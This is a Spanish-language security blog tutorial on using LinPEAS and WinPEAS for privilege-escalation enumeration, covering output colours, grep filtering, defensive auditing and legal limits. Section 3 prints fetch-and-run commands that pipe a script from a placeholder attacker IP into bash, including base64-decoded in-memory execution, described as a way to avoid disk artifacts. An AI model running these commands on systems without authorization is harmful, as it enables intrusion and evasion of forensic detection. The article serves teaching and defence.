LinPEAS y WinPEAS:
de 3.000 líneas de salida a lo que realmente importa
Post-explotación y escalada de privilegios | unfantasmaenelsistema.com
Una vez dentro de una máquina con un usuario de bajo privilegio, la pregunta deja de ser «¿cómo entro?» y pasa a ser «¿qué hay aquí que me permita subir a root o a SYSTEM?». La respuesta casi siempre está en el propio sistema —un cron mal permisado, un binario SUID, una clave de registro que nadie revisó desde la instalación— pero revisarlo todo a mano lleva horas. LinPEAS y WinPEAS, del proyecto PEASS-ng, automatizan esa revisión: 400 y 300 comprobaciones respectivamente, en segundos, sin explotar nada por sí solas. Se limitan a señalar dónde mirar.
Qué aprenderás en este artículo
Qué comprueban de verdad LinPEAS y WinPEAS, y qué NO hacen (no explotan, solo enumeran) · El sistema de colores que convierte miles de líneas de salida en una lista de prioridades · Las tres formas habituales de hacer llegar el script al objetivo, y por qué la ejecución en memoria importa · Cómo filtrar la salida con grep en lugar de leerla entera de arriba a abajo · Qué le dice esta herramienta a un defensor sobre su propia infraestructura
1. Qué son (y qué no son) LinPEAS y WinPEAS
PEASS-ng —Privilege Escalation Awesome Scripts Suite, mantenido por carlospolop— agrupa LinPEAS (Bash/Python, para Linux, macOS y BSD) y WinPEAS (binario .NET o script BAT, para Windows). Ninguno de los dos explota nada: recorren el sistema comprobando decenas de vectores de escalada conocidos —permisos de archivos, tareas programadas, credenciales en texto plano, configuraciones por defecto— y presentan lo que encuentran clasificado por probabilidad de que sea explotable. La explotación en sí, después, la decide y ejecuta quien lee el informe.
| Categoría | LinPEAS | WinPEAS |
|---|---|---|
| Kernel / parches | Sí | Sí |
| Usuarios y grupos | Sí | Sí |
| Servicios | Sí | Sí |
| Tareas / cron | Sí | Sí |
| SUID / capabilities | Sí | No aplica |
| Registro de Windows | No aplica | Sí |
| Credenciales en disco | Sí | Sí |
| Contenedores (Docker/LXC) | Sí | Limitado |
2. El problema real no es encontrarlo, es no ahogarse en la salida
Una ejecución completa de LinPEAS puede superar fácilmente las tres mil líneas de salida. El aporte que de verdad diferencia a PEASS-ng de un script casero de enumeración es su sistema de colores: cada hallazgo se marca según lo probable que sea que sea un vector de escalada real, para que la primera pasada sea de segundos, no de media hora.
| Color | Qué significa | Qué hacer |
|---|---|---|
| Rojo sobre fondo rojo | Vector de escalada con altísima probabilidad (95%+) | Revisar primero, siempre |
| Rojo | Confirmado o muy probable | Revisar siempre |
| Amarillo | Configuración anómala, no siempre explotable | Revisión manual con calma |
| Verde / cian | Información de contexto o de sistema | Consultar solo si hace falta |
| Sin color | Información genérica de referencia | Ignorar en una primera pasada |
La regla que ahorra más tiempo
Empieza siempre por el rojo. Si no hay nada en rojo, pasa al amarillo. El resto de la salida está ahí para dar contexto cuando ya se tiene una hipótesis concreta que confirmar, no para leerse entera de arriba a abajo
3. Hacer llegar el script al objetivo
Hay tres formas habituales de ejecutar LinPEAS o WinPEAS sobre una máquina a la que ya se tiene acceso, y no son intercambiables: cada una deja un rastro distinto.
# 1) Servidor HTTP desde el equipo atacante + descarga y ejecucion directa python3 -m http.server 8080 # en el atacante curl -s http://IP_ATACANTE:8080/linpeas.sh | bash # en el objetivo # 2) Ejecucion en memoria, sin escribir el script en disco curl -sL https://.../linpeas.sh | bash bash -c "$(curl -sL http://IP_ATACANTE:8080/linpeas.sh | base64 -d)" # 3) Transferencia clasica y ejecucion posterior scp linpeas.sh usuario@objetivo:/tmp/
Por qué importa la opción en memoria
Un script que se descarga, se guarda en /tmp y se ejecuta desde ahí deja un artefacto en disco que cualquier EDR o una revisión forense posterior puede encontrar. Ejecutarlo directamente desde el pipe de curl (o decodificado desde base64) evita ese artefacto — a costa de que la petición HTTP en sí misma sí queda registrada en cualquier log de red o proxy
4. Leer la salida con criterio, no de arriba a abajo
Guardar la salida completa y filtrarla después con grep es, en la práctica, más rápido que leerla en la propia terminal mientras se ejecuta.
# Guardar la salida completa, sin colores ANSI en el archivo bash linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt # Quedarse solo con lo marcado al 95% cat /tmp/linpeas_output.txt | grep '95%' # Aislar una seccion completa por nombre cat /tmp/linpeas_output.txt | grep -A 10 'SUID' cat /tmp/linpeas_output.txt | grep -A 10 'Cron'
Un hallazgo típico marcado al 95% tiene esta pinta: un cron de root que ejecuta cada minuto un script sobre el que el usuario actual sí tiene permiso de escritura. LinPEAS no va a modificar ese script por ti — se limita a decir, en rojo, que ese archivo concreto es escribible y que lo ejecuta root, que es exactamente la combinación que convierte un hallazgo en un camino de escalada.
95% PE /opt/scripts/cleanup.sh is writable by current user! -rwxrwxr-x 1 root www-data 142 /opt/scripts/cleanup.sh
5. La lectura defensiva
Un administrador que ejecuta LinPEAS o WinPEAS contra su propia infraestructura está viendo exactamente lo mismo que vería un atacante que ya tuviera un punto de apoyo inicial. La lista de colores no es solo una guía de ataque, es directamente una lista de correcciones pendientes.
- Cualquier hallazgo en rojo es una corrección prioritaria, no una nota para «revisar cuando haya tiempo»
- Monitorizar la descarga y ejecución de scripts no firmados vía curl/wget seguido de un pipe a bash es una señal de post-explotación clásica, detectable a nivel de EDR o de logs de shell
- Auditar con la propia herramienta de forma periódica, no solo tras un incidente — la superficie de privesc cambia con cada despliegue nuevo, cada cron añadido, cada permiso relajado «solo por hoy»
Encuadre legal
Ejecutar LinPEAS o WinPEAS contra un sistema del que no eres propietario ni tienes autorización expresa es un delito de acceso ilícito a sistemas de información (art. 197 bis del Código Penal), exactamente igual que cualquier otra herramienta de post-explotación. Practica siempre contra tu propio laboratorio o una máquina desplegada explícitamente para ello.
Conclusión
LinPEAS y WinPEAS no encuentran nada que un auditor con tiempo ilimitado no pudiera encontrar a mano: encuentran lo mismo en segundos, y lo presentan ordenado por lo urgente que es mirarlo. Ese orden —rojo primero, amarillo después, el resto como contexto— es la diferencia real entre una escalada de privilegios que lleva minutos y una que lleva toda la tarde.
La otra mitad del ejercicio, la que ninguna herramienta automatiza, es entender por qué cada hallazgo en rojo es explotable y confirmarlo a mano antes de actuar sobre él.
Practica esto en el laboratorio guiado de GhostAcademy
GhostAcademy dedica un manual completo a PEASS-ng, con los tres métodos de despliegue, la interpretación detallada del output de LinPEAS y WinPEAS, y laboratorios prácticos de cron inseguro, binarios SUID, capabilities mal configuradas y servicios de Windows vulnerables.
Abrir la guía de PEASS-ng →Referencias
La guía interactiva de PEASS-ng de GhostAcademy, con despliegue, lectura del output y laboratorios prácticos de Linux y Windows · GTFOBins, el catálogo de referencia que LinPEAS enlaza automáticamente cuando detecta un binario SUID potencialmente explotable · Un artículo de esta serie recorre la escalada de privilegios en Linux con más profundidad, más allá de lo que automatiza esta herramienta
unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)

